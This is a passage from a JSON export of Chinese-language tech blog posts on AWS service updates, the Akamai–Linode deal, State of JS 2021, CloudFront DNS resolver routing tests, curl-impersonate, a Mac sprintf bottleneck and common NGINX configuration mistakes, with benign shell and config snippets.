your app in minutes, visually build a web frontend UI, and easily manage app content outside the AWS console. Ship faster and scale effortlessly—with no cloud expertise needed.</blockquote>\r\n\r\n更不用說旁邊還有 <a href=\"https://aws.amazon.com/lambda/\">Lambda</a> 類的架構...",
    "title": "AWS App Runner 總算可以存取 VPC 內的資源了"
  },
  {
    "id": "10552",
    "body": "<a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 以新的 <a href=\"https://www.amd.com/\">AMD</a> 架構 (雖然也推出一陣子了) 的機器推出 <code>c</code> 系列的機種，代號為 <code>c6a</code>：「<a href=\"https://aws.amazon.com/blogs/aws/new-amazon-ec2-c6a-instances-powered-by-3rd-gen-amd-epyc-processors-for-compute-intensive-workloads/\">New – Amazon EC2 C6a Instances Powered By 3rd Gen AMD EPYC Processors for Compute-Intensive Workloads</a>」。\r\n\r\n價位上與 <code>c5a</code> 相比便宜一點點，是真的一點點：在 <code>us-east-1</code> 的 <code>c5a.24xlarge</code> 是 US$3.696/hr，而 <code>c6a.24xlarge</code> 是 US$3.672，差 0.65% 左右... (千分之六點五 XD)\r\n\r\n所以宣稱的 15% 基本上都是從 CPU 效能提昇貢獻的：\r\n\r\n<blockquote>Up to 15 percent improvement in compute price performance.</blockquote>\r\n\r\n然後機器可以提供的範圍比較大台，<code>c5a</code> 最大到 <code>c5a.24xlarge</code>，而 <code>c6a</code> 支援了 <code>c6a.32xlarge</code> 與 <code>c6a.48xlarge</code>。\r\n\r\n目前亞洲區都還沒上，要再等等了：\r\n\r\n<blockquote>C6a instances are available today in three AWS Regions: US East (N. Virginia), US West (Oregon), and EU (Ireland). As usual with EC2, you pay for what you use. For more information, see the EC2 pricing page.</blockquote>\r\n\r\n另外這次推出後，EC2 的機種超過 500 種了，主要是靠排列組合弄出來的：\r\n\r\n<blockquote>PS – With the launch of C6a instances there are now officially more than 500 Amazon EC2 instances for customers to choose from!</blockquote>",
    "title": "Amazon EC2 推出 c6a 的機器"
  },
  {
    "id": "10553",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 宣佈他們將 <a href=\"https://aws.amazon.com/efs/\">Amazon EFS</a> 的 latency 大幅降低以提昇效能：「<a href=\"https://aws.amazon.com/blogs/aws/amazon-elastic-file-system-update-sub-millisecond-read-latency/\">Amazon Elastic File System Update – Sub-Millisecond Read Latency</a>」。\r\n\r\n在 <a href=\"https://en.wikipedia.org/wiki/Linux\">Linux</a> 上一般是用 <a href=\"https://en.wikipedia.org/wiki/Network_File_System\">NFS</a> 掛 EFS，個位數的 ms 的確對於效能影響超大，現在宣稱讀取的部份降到 0.6ms，應該會有蠻明顯的感覺：\r\n\r\n<blockquote>Up until today, EFS latency for read operations (both data and metadata) was typically in the low single-digit milliseconds. Effective today, new and existing EFS file systems now provide average latency as low as 600 microseconds for the majority of read operations on data and metadata.</blockquote>\r\n\r\n然後不另外收費：\r\n\r\n<blockquote>This performance boost applies to One Zone and Standard General Purpose EFS file systems. New or old, you will still get the same availability, durability, scalability, and strong read-after-write consistency that you have come to expect from EFS, at no additional cost and with no configuration changes.</blockquote>\r\n\r\n另外就是過去幾個禮拜他們把現有的 EFS 都轉移過去了：\r\n\r\n<blockquote>We “flipped the switch” and enabled this performance boost for all existing EFS General Purpose mode file systems over the course of the last few weeks, so you may already have noticed the improvement. Of course, any new file systems that you create will also benefit.</blockquote>\r\n\r\n不過 EFS 另外一個問題就是貴炸，用錢換方便...",
    "title": "Amazon EFS 的效能提昇"
  },
  {
    "id": "10554",
    "body": "上一篇「<a href=\"https://blog.gslin.org/archives/2022/02/15/10553/amazon-efs-%e7%9a%84%e6%95%88%e8%83%bd%e6%8f%90%e6%98%87/\">Amazon EFS 的效能提昇</a>」提到 <a href=\"https://aws.amazon.com/efs/\">Amazon EFS</a> 的效能提昇，在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到 Amazon EFS 團隊的 PMT (Product-Manager-Technical) 出來回一些東西：「<a href=\"https://news.ycombinator.com/item?id=30345921\">Amazon Elastic File System Update – Sub-Millisecond Read Latency (amazon.com)</a>」，搜尋 geertj 應該就可以看到他回的東西了...\r\n\r\n像是即使是 <a href=\"https://twitter.com/jeffbarr\">Jeff Barr</a> 發表這篇文章，也還是經過 legal team 的同意才能發表：\r\n\r\n<blockquote>(PMT on the EFS team).\r\n\r\nYes, the wordings are carefully formulated as they have to be signed off by the AWS legal team for obvious reasons. With that said, this update was driven by profiling real applications and addressing the most common operations, so the benefits are real. For example, a simple WordPress \"hello world\" is now about 2x as fast as before.</blockquote>\r\n\r\n另外這次的效能提昇是透過 cache 層達成的：\r\n\r\n<blockquote>I'm the PMT for this project in the EFS team. The \"flip the switch\" part was indeed one of the harder parts to get right. Happy to share some limited details. The performance improvement builds on a distributed consistent cache. You can enable such a cache in multiple steps. First you deploy the software across the entire stack that supports the caching protocol but it's disabled by configuration. Then you turn it for the multiple components that are involved in the right order. Another thing that was hard to get right was to ensure that there are no performance regressions due to the consistency protocol.</blockquote>\r\n\r\n然後在每個 AZ 都有 cache：\r\n\r\n<blockquote>The caches are local to each AZ so you get the low latency in each AZ, the other details are different. Unfortunately I can't share additional details at this moment, but we are looking to do a technical update on EFS at some point soon, maybe at a similar venue!</blockquote>\r\n\r\n另外看起來主要就是 metadata cache 的幫助：\r\n\r\n<blockquote>NFS workloads are typically metadata heavy and highly correlated in time, so you can achieve very high hit rates. I can't share any specific numbers unfortunately.</blockquote>\r\n\r\n還是有很多細節數字不能透漏，但知道是透過 cache 達成的就已經可以大致上想像後面是怎麼弄出來的了...",
    "title": "Amazon EFS 效能提昇的一些討論"
  },
  {
    "id": "10556",
    "body": "本來是在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=30336809\">MonoLisa – A font designed for developers (monolisa.dev)</a>」這個付費字型，但下面的討論反而提到了一些其他還不錯的 open source 的字型，其中一個就是這邊提到的 <a href=\"https://rubjo.github.io/victor-mono/\">Victor Mono</a>。\r\n\r\n另外有提到「<a href=\"https://www.programmingfonts.org/\">Programming Fonts - Test Drive</a>」這個站，可以測很多不同的 Monospace 字型，看起來也可以翻翻...",
    "title": "Victor Mono 字型"
  },
  {
    "id": "10557",
    "body": "目前在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁第一名，<a href=\"https://www.akamai.com/\">Akamai</a> 併購 <a href=\"https://www.linode.com/\">Linode</a>：「<a href=\"https://www.akamai.com/newsroom/press-release/akamai-to-acquire-linode\">Akamai To Acquire Linode to Provide Businesses with a Developer-friendly and Massively-distributed Platform to Build, Run and Secure Applications</a>」，Linode 的新聞稿則是在「<a href=\"https://www.linode.com/blog/linode/linode-and-akamai/\">Linode and Akamai</a>」，Hacker News 上的討論在「<a href=\"https://news.ycombinator.com/item?id=30352772\">Akamai to Acquire Linode (akamai.com)</a>」這邊。\r\n\r\n併購金額與預期的時間表：\r\n\r\n<blockquote>Under terms of the agreement, Akamai has agreed to acquire all of the outstanding equity of Linode Limited Liability Company for approximately $900 million, after customary purchase price adjustments. As a result of structuring the transaction as an asset purchase, Akamai expects to achieve cash income tax savings over the next 15 years that have an estimated net present value of approximately $120 million. The transaction is expected to close in the first quarter of 2022 and is subject to customary closing conditions.</blockquote>\r\n\r\n好像會有記者會... 應該會有更多說明。",
    "title": "Akamai 併購 Linode"
  },
  {
    "id": "10558",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://2021.stateofjs.com/\">The State of JS 2021</a>」這個，另外也翻了一下 Hacker News 上的討論「<a href=\"https://news.ycombinator.com/item?id=30357788\">State of JavaScript 2021 (stateofjs.com)</a>」，算是年度總結看一下今年 JS 圈子又搞出了什麼新東西，或者說又喜新厭舊了哪些東西 XDDD\r\n\r\n看了幾張比較有趣的，首先是「<a href=\"https://2021.stateofjs.com/libraries/\">The State of JS 2021: Libraries</a>」這張總表，右上角的表示用的人比較多，而且評價正面的選擇：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/qMGxHRv.webp\" /><img src=\"https://i.gslin.com/imgur/qMGxHRv.png\" alt=\"\" /></picture>\r\n\r\n然後同一頁也有直接依照滿意度分級列出來：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/RRlUkxx.webp\" /><img src=\"https://i.gslin.com/imgur/RRlUkxx.png\" alt=\"\" /></picture>\r\n\r\n在「<a href=\"https://2021.stateofjs.com/libraries/front-end-frameworks/\">The State of JS 2021: Front-end Frameworks</a>」這頁可以看到 JS 前端喜新厭舊的情況，2018 的時候 <a href=\"https://vuejs.org/\">Vue.js</a> 上來，然後 2019 下去，2020 時 <a href=\"https://svelte.dev/\">Svelte</a> 上來，2021 下去，換 <a href=\"https://www.solidjs.com/\">Solid</a> 上來：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/GqZnNck.webp\" /><img src=\"https://i.gslin.com/imgur/GqZnNck.png\" alt=\"\" /></picture>\r\n\r\n在「<a href=\"https://2021.stateofjs.com/libraries/back-end-frameworks/\">The State of JS 2021: Back-end Frameworks</a>」這邊則是看 JS 後端的喜新厭舊，2020 時 <a href=\"https://nextjs.org/\">Next.js</a> 爬上來，2021 就被踢下去，換 <a href=\"https://kit.svelte.dev/\">SvelteKit</a> 上來：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/6HCMCQ6.webp\" /><img src=\"https://i.gslin.com/imgur/6HCMCQ6.png\" alt=\"\" /></picture>\r\n\r\n其他的也都可以看出來一直在「<a href=\"https://www.moedict.tw/%E8%BF%AD%E4%BB%A3\">迭代</a>」，整個 JS ecosystem 的概念一直都是砍掉重練 XD",
    "title": "The State of JS 2021"
  },
  {
    "id": "10560",
    "body": "前幾天 <a href=\"https://github.com/\">GitHub</a> 宣佈他們站上的 <a href=\"https://en.wikipedia.org/wiki/Markdown\">Markdown</a> 透過 <a href=\"https://mermaid-js.github.io/mermaid/\">Mermaid</a> 支援流程圖：「<a href=\"https://github.blog/2022-02-14-include-diagrams-markdown-files-mermaid/\">Include diagrams in your Markdown files with Mermaid</a>」。\r\n\r\n翻了一下 <a href=\"https://gitlab.com/\">GitLab</a> 也有 Mermaid 支援：「<a href=\"https://docs.gitlab.com/ee/user/markdown.html\">GitLab Flavored Markdown</a>」，所以這個部份兩邊的系統可以通了...\r\n\r\n寫 API 文件時也蠻常用到的東西，之前是在 GitLab 上面弄了 <a href=\"https://en.wikipedia.org/wiki/PlantUML\">PlantUML</a> 的支援，找時間來分析...",
    "title": "GitHub 的 Markdown 透過 Mermaid 支援各種流程圖"
  },
  {
    "id": "10561",
    "body": "利用 TLS handshake 的 pattern 可以當作是某種 fingerprint，就可以知道你是用 <a href=\"https://curl.se/\">Curl</a>，這個方式在蠻多 CDN 都會用在 anti-bot 機制 (像是 <a href=\"https://www.cloudflare.com/\">Cloudflare</a>)，而剛剛看到有人投稿自己的 patch，試著將 Curl 修改成 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 的 pattern：「<a href=\"https://github.com/lwthiker/curl-impersonate\">curl-impersonate</a>」，<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論在這邊可以看到：「<a href=\"https://news.ycombinator.com/item?id=30378562\">Show HN: Curl modified to impersonate Firefox and mimic its TLS handshake (github.com/lwthiker)</a>」。\r\n\r\n作者有提到這次的 patch 偏 hack，不太可能整進上游，但希望未來改的乾淨一點，然後整進上游：\r\n\r\n<blockquote>I hope to do so in the future, for now the implementation is extremely hacky so I doubt it can get accepted into curl.</blockquote>\r\n\r\n另外有人提出來說應該要用 <a href=\"https://www.mozilla.org/firefox/enterprise/\">Firefox ESR</a> 版本的 pattern 而非 stable channel，也有人提出來說用 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> 的更好，不過我覺得有人開始做就已經很棒了 XD",
    "title": "修正 Curl 的 TLS handshake，避開 bot 偵測機制"
  },
  {
    "id": "10562",
    "body": "<strong>tl;dr 版本</strong>：目前先用 PPPoE 發出來的 DNS resolver 設定，如果要自己設定的話，用 <code>168.95.192.1</code> (主) + <code>168.95.1.1</code> (次) 然後關掉 round-robin 模式。\r\n\r\n剛剛看 <a href=\"https://oss.oetiker.ch/smokeping/\">SmokePing</a> 時發現的奇怪現象，同樣都是在 <a href=\"https://www.hinet.net/\">HiNet</a> 下面的機器與 DNS resolver，但 <a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a> 會給出不同的機房提供服務。\r\n\r\n講的更仔細的是，<code>168.95.192.1</code> 這組會給出 tpe 系列的機房，所以 latency 會比較低，但如果你用的是 <code>168.95.1.1</code> 的話，就會到處丟，包括日本的 <code>nrt</code> 系列，與香港的 <code>hkg</code> 系列。\r\n\r\n這邊拿 <code>d36cz9buwru1tt.cloudfront.net</code> 這組網域觀察，這是 <a href=\"https://aws.amazon.com/\">AWS</a> 官網用的資源，從官網的 html 原始碼裡面可以看到。\r\n\r\n以第四台網路上面的機器上面來看 (<a href=\"https://www.taipeinet.com.tw/\">北都</a>，我分配到的線路是走<a href=\"https://www.taifo.com.tw/\">台灣智慧光網</a>的線路)，可以看到這邊 latency 會飄：「<a href=\"https://rpi.gslin.com/smokeping/?target=CDN.d36cz9buwru1tt_cloudfront_net\">d36cz9buwru1tt.cloudfront.net (CloudFront)</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/diasmTw.webp\" /><img src=\"https://i.gslin.com/imgur/diasmTw.png\" alt=\"\" /></picture>\r\n\r\n看了一下 DNS 設定，第四台的 ISP 給了兩組 DNS resolver 設定給分享器，分別是 <code>168.95.1.1</code> 與 <code>8.8.8.8</code>，然後分享器的 DNS resolver 是 round-robin，所以有時候會在台灣，有時候就連出國...\r\n\r\n不過這組不能直接說是 AWS 的問題，因為 ISP 自己不架 DNS server，還跑去用 HiNet 的，有 sub-optimal 的問題也是很正常...\r\n\r\n另外就是確認放在 HiNet 線路上的機器，這邊 ISP 透過 PPPoE 給了 <code>168.95.192.1</code> 與 <code>168.95.1.1</code>，但因為是直接進到 <code>/etc/resolv.conf</code>，所以只有在第一組爛掉的時候才會導去第二組 (預設值)，所以看起來就很穩：「<a href=\"https://rent-hinet.gslin.com/smokeping/?target=CDN.d36cz9buwru1tt_cloudfront_net\">d36cz9buwru1tt.cloudfront.net (CloudFront)</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Er7uCXl.webp\" /><img src=\"https://i.gslin.com/imgur/Er7uCXl.png\" alt=\"\" /></picture>\r\n\r\n實際分析從 HiNet 去 <code>168.95.1.1</code> 與 <code>168.95.192.1</code> 查時，也可以看到類似的情況，像是用這樣的 command 去看 <code>168.95.1.1</code> 的情況：\r\n\r\n<pre>( repeat 1000 host d36cz9buwru1tt.cloudfront.net 168.95.1.1 ) | grep 'has address' | awk '{print $NF}' | awk -F. '{print $1 \".\" $2 \".\" $3}' | sort -u | awk '{print $1 \".\" 1}' | xargs -n1 host | awk '{print $NF}'</pre>\r\n\r\n可以看到給出來的點都是日本 (nrt 與 kix)：\r\n\r\n<pre>server-13-225-178-1.nrt57.r.cloudfront.net.\r\nserver-143-204-74-1.nrt12.r.cloudfront.net.\r\nserver-18-65-171-1.nrt57.r.cloudfront.net.\r\nserver-18-65-99-1.kix50.r.cloudfront.net.\r\nserver-54-192-254-1.nrt51.r.cloudfront.net.\r\nserver-54-230-123-1.kix56.r.cloudfront.net.\r\nserver-99-84-55-1.nrt20.r.cloudfront.net.</pre>\r\n\r\n如果改掃 <code>168.95.192.1</code> 的話：\r\n\r\n<pre>( repeat 1000 host d36cz9buwru1tt.cloudfront.net 168.95.192.1 ) | grep 'has address' | awk '{print $NF}' | awk -F. '{print $1 \".\" $2 \".\" $3}' | sort -u | awk '{print $1 \".\" 1}' | xargs -n1 host | awk '{print $NF}'</pre>\r\n\r\n就會完全在台灣機房：\r\n\r\n<pre>server-13-35-163-1.tpe50.r.cloudfront.net.\r\nserver-13-35-36-1.tpe51.r.cloudfront.net.</pre>\r\n\r\n用先前提到的「<a href=\"https://blog.gslin.org/archives/2022/01/09/10500/%E7%94%A8-akamai-%E6%8F%90%E4%BE%9B%E7%9A%84-akahelp-%E5%88%86%E6%9E%90-dns-resolver-%E7%9A%84%E8%B3%87%E8%A8%8A/\">用 Akamai 提供的 akahelp 分析 DNS Resolver 的資訊</a>」看起來 ECS 相關資訊都被拔掉了，但不確定關聯性是怎麼樣，但可以確定的是如果你設到 <code>168.95.1.1</code> 的話會是 sub-optimal experience...\r\n\r\n有人吃飯工具用 CloudFront 的 (像是公司的服務)，而且手上有 bussiness support 或是 enterprise support 的，可以自己測過確認後去開 ticket 跟 AWS 看看怎麼弄，我這邊沒這些管道 XD",
    "title": "168.95.1.1 與 168.95.192.1 對 CloudFront 的差異"
  },
  {
    "id": "10563",
    "body": "前幾天在「<a href=\"https://news.ycombinator.com/item?id=30273940\">Show HN: Jless, a command-line JSON viewer (pauljuliusmartinez.github.io)</a>」這邊看到用 <a href=\"https://www.rust-lang.org/\">Rust</a> 寫的 <a href=\"https://jless.io/\">jless</a> 這個工具，官網有個動圖可以參考：\r\n\r\n<img src=\"https://i.gslin.com/imgur/LgfEMG0.gif\" alt=\"\" />\r\n\r\n這樣方便不少，就不需要自己在對半天...\r\n\r\n另外也剛好拿來練手，把 Rust 寫的套件包成 Ubuntu PPA：「<a href=\"https://launchpad.net/~gslin/+archive/ubuntu/jless\">PPA for jless</a>」。\r\n\r\n主要是 <code>cargo vendor</code> 這個指令可以把相依套件都抓下來放到 <code>vendor/</code> 下面，然後設定 <code>.cargo/config.toml</code> 後就可以在本地端處理了，這對於 build farm 限制 internet 連線的情況會好用很多...",
    "title": "jless：檢視 JSON 的工具"
  },
  {
    "id": "10565",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=30433477\">I wrote a program that sends cats to my phone when I'm sad at the computer (healeycodes.com)</a>」這個東西，居然是用 cam 判斷，當判斷心情不好的時候就推播貓貓的圖片，像是這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/iRkK0uP.webp\" /><img src=\"https://i.gslin.com/imgur/iRkK0uP.png\" alt=\"\" /></picture>\r\n\r\n除了 machine learning 的部份快，這邊還用到了幾個服務，像是 <a href=\"https://pushover.net/\">Pushover</a> 與 <a href=\"https://www.thecatapi.com/\">The Cat API</a> (居然有這種服務 XDDD)...\r\n\r\n馬上想到前陣子看的 <a href=\"https://en.wikipedia.org/wiki/Don%27t_Look_Up\">Don't Look Up</a> (<a href=\"https://zh.wikipedia.org/wiki/%E5%8D%83%E8%90%AC%E5%88%A5%E6%8A%AC%E9%A0%AD\">千萬別抬頭</a>)，裡面好像也有類似的產品 XDDD",
    "title": "心情不好時自動送貓貓圖推播的專案"
  },
  {
    "id": "10566",
    "body": "<a href=\"https://aws.amazon.com/s3/\">Amazon S3</a> 宣佈支援 <a href=\"https://en.wikipedia.org/wiki/MD5\">MD5</a> 以外的檢查演算法了：「<a href=\"https://aws.amazon.com/blogs/aws/new-additional-checksum-algorithms-for-amazon-s3/\">New – Additional Checksum Algorithms for Amazon S3</a>」。\r\n\r\n多支援了 <a href=\"https://en.wikipedia.org/wiki/SHA-1\">SHA-1</a>、<a href=\"https://en.wikipedia.org/wiki/SHA-256\">SHA-256</a> 以及 <a href=\"https://en.wikipedia.org/wiki/CRC-32\">CRC-32</a> 與 <a href=\"https://en.wikipedia.org/wiki/CRC-32C\">CRC-32C</a>：\r\n\r\n<blockquote>In particular, you can specify the use of any one of four widely used checksum algorithms (SHA-1, SHA-256, CRC-32, and CRC-32C) when you upload each of your objects to S3.</blockquote>\r\n\r\n雖然有拿 cryptographic hash function 來用，但其實是當作 checksum algorithm 在用，拿來檢查檔案正確性的，而不是防中間被竄改之類 (這個部份是靠 <a href=\"https://en.wikipedia.org/wiki/HTTPS\">HTTPS</a>)，本來支援的 MD5 應該算是夠用，只是現在多了不少選擇。\r\n\r\n然後全商用區都可以用了：\r\n\r\n<blockquote>The four additional checksums are now available in all commercial AWS Regions and you can start using them today at no extra charge.</blockquote>",
    "title": "Amazon S3 支援 MD5 以外的檢查演算法了"
  },
  {
    "id": "10567",
    "body": "前幾天看到「<a href=\"https://news.ycombinator.com/item?id=30421399\">I have no capslock and I must scream (marginalia.nu)</a>」這個討論，原文的標題是致敬於「<a href=\"https://wjccschools.org/wp-content/uploads/sites/2/2016/01/I-Have-No-Mouth-But-I-Must-Scream-by-Harlan-Ellison.pdf\">I Have No Mouth, and I Must Scream</a>」這篇小說，所以就決定把原標題留起來好了...\r\n\r\n原文在「<a href=\"https://memex.marginalia.nu/log/48-i-have-no-capslock.gmi\">I have no capslock and I must scream</a>」這邊，在原文的後面提到了 <a href=\"https://www.mozilla.org/\">Mozilla</a> 的這張 ticket，應該就是寫這篇文章的「主因」了：「<a href=\"https://bugzilla.mozilla.org/show_bug.cgi?id=1687635\">Replace the Text Encoding menu with a single override item Repair Text Encoding</a>」。\r\n\r\n這種行為也是為什麼即使 <a href=\"https://www.google.com/chrome/\">Chrome</a> 愈來愈爛，也不打算跳去 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 的原因...",
    "title": "I have no capslock and I must scream"
  },
  {
    "id": "10569",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=30378306\">Ask HN: Why is MS Teams so slow, do devs test Teams on less powerful machines?</a>」這串討論，發起的作者提到了超級吃資源的問題：\r\n\r\n<blockquote>I have a laptop with an i5 processor and 8G of RAM. Hard drive is an SSD. It sometimes takes me a full minute and a half to get Teams open and ready to join a meeting. It is driving me crazy.</blockquote>\r\n\r\n可以預期下面本來就會有一堆人在抱怨，不過意外看到有趣的回應：\r\n\r\n<blockquote>Ex office dev here. Actual dev work is done on i9 workstations running 64 gb of ram, and usually located very near an Azure data center, regardless of where the dev works. The result is that it's fast for us.\r\n\r\nEveryone knows that it runs like poop, but there are other priorities, and no performance regression tests.</blockquote>\r\n\r\n所以你應該只要電腦夠暴力 + 離機房夠近就會快了 XDDD\r\n\r\n的確像是最上面的 comment 提到的，開發者因為都用 MBP，至少還能動 (因為機器夠快)，但其他團隊則是一直幹勦：\r\n\r\n<blockquote>At my company, the developers are all on fairly powerful MacBook Pros, and everyone else in the company has Windows laptops (I think generally Surface devices)\r\n\r\nFor the developers, Teams works... as good as Teams can. So not great, but it works most of the time (for me, anyway). For everyone else though, I hear nothing but issues. Constantly having to restart to make Teams work. And again, this is on Surface devices, so Microsoft is making the app, the OS, and the hardware!</blockquote>",
    "title": "關於 Hacker News 上在討論 Microsoft Teams 的一些有趣的發現"
  },
  {
    "id": "10570",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到個有趣的 scalability 問題，在 Mac 上的 <a href=\"https://en.wikipedia.org/wiki/sprintf\"><code>sprintf()</code></a> 因為有 lock 造成的 scalability 問題：「<a href=\"https://news.ycombinator.com/item?id=30472423\">Curious lack of sprintf scaling (aras-p.info)</a>」。\r\n\r\n作者注意到 Mac 在多 CPU 下 <code>sprintf()</code> 會有 scalability 的問題，要注意到這邊的 Y 軸是對數比例：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/3fb64vx.webp\" /><img src=\"https://i.gslin.com/imgur/3fb64vx.png\" alt=\"\" /></picture>\r\n\r\n用了 <code>std::stringstream &lt;&lt;</code> 反而更慢 (作者還酸了一句「Zero cost abstractions」)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/8F0LXOo.webp\" /><img src=\"https://i.gslin.com/imgur/8F0LXOo.png\" alt=\"\" /></picture>\r\n\r\n然後用了 <a href=\"https://en.wikipedia.org/wiki/Instruments_(software)\">Instruments</a> 跑 profiling 找問題，可以看到看起來跟 locale 有關：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/pUJoBfc.webp\" /><img src=\"https://i.gslin.com/imgur/pUJoBfc.png\" alt=\"\" /></picture>\r\n\r\n一般的情況下應該不會是問題，但如果是需要大量 <code>sprintf()</code> 組字串的人就會比較要注意了。\r\n\r\n在「What else can we do?」這段有提到一些解法，包括了 <a href=\"https://github.com/nothings/stb/blob/master/stb_sprintf.h\">stb_sprintf</a> 當作替代品，以及 <a href=\"https://fmt.dev/latest/index.html\">{fmt}</a> 作為 iostreams 的替代品，然後另外是利用 <a href=\"https://en.cppreference.com/w/cpp/utility/to_chars\">to_chars</a> 來解決，如果只是要把數字轉成字串。\r\n\r\n算是蠻有趣的 bug hunting 過程，對於開發者來說，一般性的重點還是在 profiling，找到對的問題然後再往下提出解法...",
    "title": "Mac 上 sprintf 的 scalability 問題"
  },
  {
    "id": "10571",
    "body": "把先前寫的 <a href=\"https://github.com/gslin/twitter2facebook\">twitter2facebook</a> 改寫，從本來固定用 <a href=\"https://www.chromium.org/\">Chromium</a> 65 換成用 <a href=\"https://www.mozilla.org/firefox/enterprise/\">Firefox ESR</a>。\r\n\r\n當初會用 Chromium 65 這個很舊的版本，是因為這個版本還沒有把 headless 使用的 profile 獨立出來，而我需要 <a href=\"https://www.facebook.com/\">Facebook</a> 登入的 cookie，所以就這樣用了，但畢竟用舊版是個討厭的隱患，還是花了些時間研究出來要怎麼用有 security update 的瀏覽器。\r\n\r\n這次換成 Firefox ESR 主要是希望 ESR 版本不會太常改爛東西，不過缺點就是 <a href=\"https://pypi.org/project/selenium/\">selenium</a> 4.x 不支援 ESR 版本的 geckodriver (參考「<a href=\"https://github.com/mozilla/geckodriver/issues/1959\">Old geckodriver releases raise an exception (code 64) if started with unsupported --websocket-port argument #1959</a>」這個 issue)，而且關不掉 <code>--websocket-port</code> 這個參數，所以我只好在 <code>requirements.txt</code> 內設定用 3.x 最後一個版本的 <code>selenium==3.141.0</code> 了。\r\n\r\n不過預期明年 ESR 更新的時候又要再改了，到時候再看看吧...\r\n\r\n另外一個遇到的小問題是，我發現 Facebook 登入第一次後，關掉瀏覽器再打開會被登出，這時候再登入一次後面就正常了，但不知道為什麼...",
    "title": "把 twitter2facebook 從 Chromium 舊版改用 Firefox ESR 版本"
  },
  {
    "id": "10572",
    "body": "也是在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到的，<a href=\"https://www.nginx.com/\">NGINX</a> 官方給的 10 個設定上的常見錯誤：「<a href=\"https://www.nginx.com/blog/avoiding-top-10-nginx-configuration-mistakes/\">Avoiding the Top 10 NGINX Configuration Mistakes</a>」，對應的討論串在「<a href=\"https://news.ycombinator.com/item?id=30435282\">Avoiding the top Nginx configuration mistakes (nginx.com)</a>」這邊，看了一下裡面還蠻多蠻實用的？(雖然有些算是官方自己的偏見，或是官方自己在搞事...)\r\n\r\n第一個是 <code>worker_connections</code> 設定與 fd 的上限沒有對應，因為每個連線會吃掉兩個 fd，所以要給夠才有辦法讓 connection 衝上去：\r\n\r\n<blockquote>The common configuration mistake is not increasing the limit on FDs to at least twice the value of <code>worker_connections</code>. The fix is to set that value with the <code>worker_rlimit_nofile</code> directive in the main configuration context.</blockquote>\r\n\r\n另外就是要檢查系統的 limit 設定，像是 <code>/etc/security/limit.conf</code> 這類的設定。\r\n\r\n第二個是 <code>error_log off</code> 這個設法，在 NGINX 裡面是有 <code>access_log off</code>，但沒有 <code>error_log off</code> 這個設法，如果你這樣設的話會寫到 <code>error</code> 這個檔名內。所以如果真的要丟掉的話要丟到 <code>/dev/null</code>，像是官方給的範例這樣：\r\n\r\n<pre>error_log /dev/null emerg;</pre>\r\n\r\n第三個是 NGINX 對 upstream (backend) 沒有設定 keepalive，這會導致在量很大的時候會產生不少 overhead。\r\n\r\n第四個是違反直覺的繼承設定，官方用這樣的範例來表達：\r\n\r\n<pre>http {\r\n    add_header X-HTTP-LEVEL-HEADER 1;\r\n    add_header X-ANOTHER-HTTP-LEVEL-HEADER 1;\r\n\r\n    server {\r\n        listen 8080;\r\n        location / {\r\n            return 200 \"OK\";\r\n        } \r\n    }\r\n\r\n    server {\r\n        listen 8081;\r\n        add_header X-SERVER-LEVEL-HEADER 1;\r\n\r\n        location / {\r\n            return 200 \"OK\";\r\n        }\r\n\r\n        location /test {\r\n            add_header X-LOCATION-LEVEL-HEADER 1;\r\n            return 200 \"OK\";\r\n        }\r\n\r\n        location /correct {\r\n            add_header X-HTTP-LEVEL-HEADER 1;\r\n            add_header X-ANOTHER-HTTP-LEVEL-HEADER 1;\r\n\r\n            add_header X-SERVER-LEVEL-HEADER 1;\r\n            add_header X-LOCATION-LEVEL-HEADER 1;\r\n            return 200 \"OK\";\r\n        } \r\n    }\r\n}</pre>\r\n\r\n而你會發現 <code>add_header</code> 會蓋掉先前繼承的項目，但同一個 block 之間會疊加而不是蓋掉...\r\n\r\n所以打 <code>localhost:8081/test</code> 的時候只會有 <code>X-LOCATION-LEVEL-HEADER: 1</code>；打 <code>localhost:8081/correct</code> 會有四個 HTTP headers...\r\n\r\n第五個算是官方自己的偏見，我們一般都會希望壓低 TTFB (Time To First Byte)，把 <code>proxy_buffering</code> 關閉算是常態了。\r\n\r\n第六個是官方雖然實做了 <code>if</code> 但很不希望你拿來用。\r\n\r\n第七個是 health check 的正確設法，避免多個 block 都有 health check，造成無用的功夫。\r\n\r\n第八個是保護內部的資訊，這邊給的範例是 <code>stub_status</code>。\r\n\r\n第九個是個地雷，<code>ip_hash</code> 這個演算法可以依據 client 的 IP address 來打散流量到後端的伺服器上，對於 IPv6 他會拿整個 IPv6 當作 key (128 bits)，但對 IPv4 他只會拿前面三碼 (24 bits) 當作 